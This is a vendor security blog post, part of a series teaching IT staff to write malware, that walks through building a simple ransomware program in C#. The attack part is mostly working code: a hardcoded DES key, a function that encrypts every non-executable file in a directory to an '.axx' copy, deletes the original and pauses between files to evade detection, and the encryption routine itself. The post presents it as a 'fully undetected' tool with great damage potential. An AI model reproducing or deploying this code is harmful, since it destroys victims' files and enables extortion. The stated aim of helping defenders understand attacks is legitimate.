Malware Coding Lessons for IT People, Part II: Fun With FUD Ransomware!

Let’s not overthink ransomware! It’s just a small malicious piece of code with one devious goal — encrypting all of the user’s important files. It the unfortunate victim wants to...
Oded Awaskar
4 min read
Last updated February 24, 2022

This article is part of the series "Malware Coding Lessons for IT People". Check out the rest:

Let’s not overthink ransomware! It’s just a small malicious piece of code with one devious goal — encrypting all of the user’s important files. It the unfortunate victim wants to recover them he or she will have to pay a hefty amount to retrieve the decryption key.

How hard is ransomware?

In this post, I’ll show you how incredibly easy it is to code a FUD (Fully Undetected) ransomware using public Microsoft libraries with C#.

Ransomware 101

As I discussed in my previous post, there are a few ways to get infected with malware – for starters, malicious attachments, rogue websites, and phishing campaigns, as well as some other creative methods I’ll cover in a future post.

Ok, say we’ve clicked on a malicious ransomware file. What’s going to happen next? Persistency!

Persistency is the code used by hacker to enable the malware to survive restarts and to disguise the software so it would be hard to detect (and remove). While persistency is (usually) generic across many different malware families, there are some unique techniques for ransomware. I’ll get into this in a future post.

Get the Free Pentesting Active
Directory Environments e-book

At its core, ransomware is just software that performs bulk encryption of the data contents in the victim’s file system. Typically, asymmetric encryption — with different keys for encryption and decryption — is preferred by hackers since it is much harder to recover the data.

This asymmetric algorithm is based on the idea of encrypting the files contents with a public key, but using a different private key that only that attacker has for decryption. You can learn more about asymmetric encryption here: https://en.wikipedia.org/wiki/Public-key_cryptography.

The malware can also choose a weaker encryption method, such as symmetric encryption algorithm, in which the same key is used for both encryption and decryption.

To make the code even simpler, we will use an API that does the symmetric encryption algorithm.

And Now the Code

The next part of the software that newbies need to know about is traversing the file system. Essentially, you’re travelling through the directory hierarchy, collecting file pathname, and then feeding the file contents to the encryption engine. Then of course the file has to be written back.

The list of the files to be encrypted is usually the ones companies are dependent on. We’re talking documents, spreadsheets, images, presentations, audio, and emails. By the way, hackers usually will not encrypt movies due to the size and the impact on the malwares performance. That’s a small consolation—employees can be watching movies while IT is restoring from a backup.

Once the files list is generated after navigating the directories, it’s a good idea to wait for an appropriate time to start the encryption. The idea is to then encrypt as much file contents as possible from the list before being detected.

More sophisticated ransomware will attempt to learn the idle time of the infected computer — when there’s CPU available– and slip in the encryption processing at appropriate times to avoid detection.

Enough talk, here’s the code.

First snippet: Choose a random key to encrypt the data with:

  1. string key = "R?\n??i??";
string key = "R?\n??i??";

Basically you can choose any key that you like, remember that we are going to choose symmetric algorithm so the key will be used for encrypting and decrypting as well.

Second snippet:   Encrypt an entire directory contents:

  1. private static void EncryptDir(string d,int mili)
  2. {
  3. DirectoryInfo dirtoencrypt = new DirectoryInfo(d);
  4. FileInfo[] file;
  5. file = dirtoencrypt.GetFiles();
  6. foreach (FileInfo currentFile in file)
  7. {
  8. if (currentFile.Extension.ToLower() != ".exe")
  9. {
  10. string key = "R?\n??i??";
  11. EncryptFile(currentFile.FullName, currentFile.FullName + ".axx", key);
  12. File.Delete(currentFile.FullName);
  13. Thread.Sleep(mili);
  14. }
  15. }
  16. }
private static void EncryptDir(string d,int mili)
        {
            DirectoryInfo dirtoencrypt = new DirectoryInfo(d);
            FileInfo[] file;
            file = dirtoencrypt.GetFiles();
            foreach (FileInfo currentFile in file)
            {
                if (currentFile.Extension.ToLower() != ".exe")
                {
                    string key = "R?\n??i??";
                    EncryptFile(currentFile.FullName, currentFile.FullName + ".axx", key);
                    File.Delete(currentFile.FullName);
                   Thread.Sleep(mili);
                }
            }
        }

 

Third Snippet: The encrypting function, taken directly from MSDN (https://support.microsoft.com/en-us/kb/307010)

  1. static void EncryptFile(string sInputFilename, \
  2. static void EncryptFile(string sInputFilename, string sOutputFilename, string sKey)
  3. {
  4. FileStream fsInput = new FileStream(sInputFilename,
  5. FileMode.Open,
  6. FileAccess.Read);
  7.  
  8. FileStream fsEncrypted = new FileStream(sOutputFilename,
  9. FileMode.Create,
  10. FileAccess.Write);
  11. DESCryptoServiceProvider DES = new DESCryptoServiceProvider();
  12. DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);
  13. DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);
  14. ICryptoTransform desencrypt = DES.CreateEncryptor();
  15. CryptoStream cryptostream = new CryptoStream(fsEncrypted,
  16. desencrypt,
  17. CryptoStreamMode.Write);
  18.  
  19. byte[] bytearrayinput = new byte[fsInput.Length];
  20. fsInput.Read(bytearrayinput, 0, bytearrayinput.Length);
  21. cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length);
  22. cryptostream.Close();
  23. fsInput.Close();
  24. fsEncrypted.Close();
  25. }
static void EncryptFile(string sInputFilename, \
static void EncryptFile(string sInputFilename, string sOutputFilename, string sKey)
        {
            FileStream fsInput = new FileStream(sInputFilename,
             FileMode.Open,
             FileAccess.Read);

            FileStream fsEncrypted = new FileStream(sOutputFilename,
               FileMode.Create,
               FileAccess.Write);
            DESCryptoServiceProvider DES = new DESCryptoServiceProvider();
            DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);
            DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);
            ICryptoTransform desencrypt = DES.CreateEncryptor();
            CryptoStream cryptostream = new CryptoStream(fsEncrypted,
               desencrypt,
               CryptoStreamMode.Write);

            byte[] bytearrayinput = new byte[fsInput.Length];
            fsInput.Read(bytearrayinput, 0, bytearrayinput.Length);
            cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length);
            cryptostream.Close();
            fsInput.Close();
            fsEncrypted.Close();
        }

 

That’s it!

A malicious tool with tons of damage potential in less than a 100 lines of code and under 10kb after compiling.

I’ll put together more pieces of the ransomware puzzle in another post.

What should I do now?

Below are three ways you can continue your journey to reduce data risk at your company:

1

Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's data security needs and answer any questions.

2

See a sample of our Data Risk Assessment and learn the risks that could be lingering in your environment. Varonis' DRA is completely free and offers a clear path to automated remediation.

3

Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data security, including DSPM, threat detection, AI security, and more.

Try Varonis free.

Get a detailed data risk report based on your company’s data.
Deploys in minutes.

Keep reading

Varonis tackles hundreds of use cases, making it the ultimate platform to stop data breaches and ensure compliance.

learning-to-write-fully-undetected-malware---lessons-for-it
Learning to Write Fully Undetected Malware - Lessons For IT
 I really believe that an IT security person should master some of the programming concepts that go into malware. File that under “know your enemy”.
practical-powershell-for-it-security,-part-v: security-scripting-platform-gets-a-makeover
Practical PowerShell for IT Security, Part V: Security Scripting Platform Gets a Makeover
A few months ago, I began a mission to prove that PowerShell can be used as a security monitoring tool. I left off with this post, which had PowerShell code...
the-malware-hiding-in-your-windows-system32-folder:-intro-to-regsvr32
The Malware Hiding in Your Windows System32 Folder: Intro to Regsvr32
In our epic series on Malware-Free Hacking, I wrote about techniques that let you use well-known Microsoft apps and tools to run evil custom scripts. This file-less hack-craft usually involves sneaking...
getting-started-with-powershell-option-inputs
Getting Started with PowerShell Option Inputs
PowerShell is the dominant method of automating tasks and scripting changes for Windows sysadmins. This article covers getting started with some basic PowerShell usage and how to pass optional customization...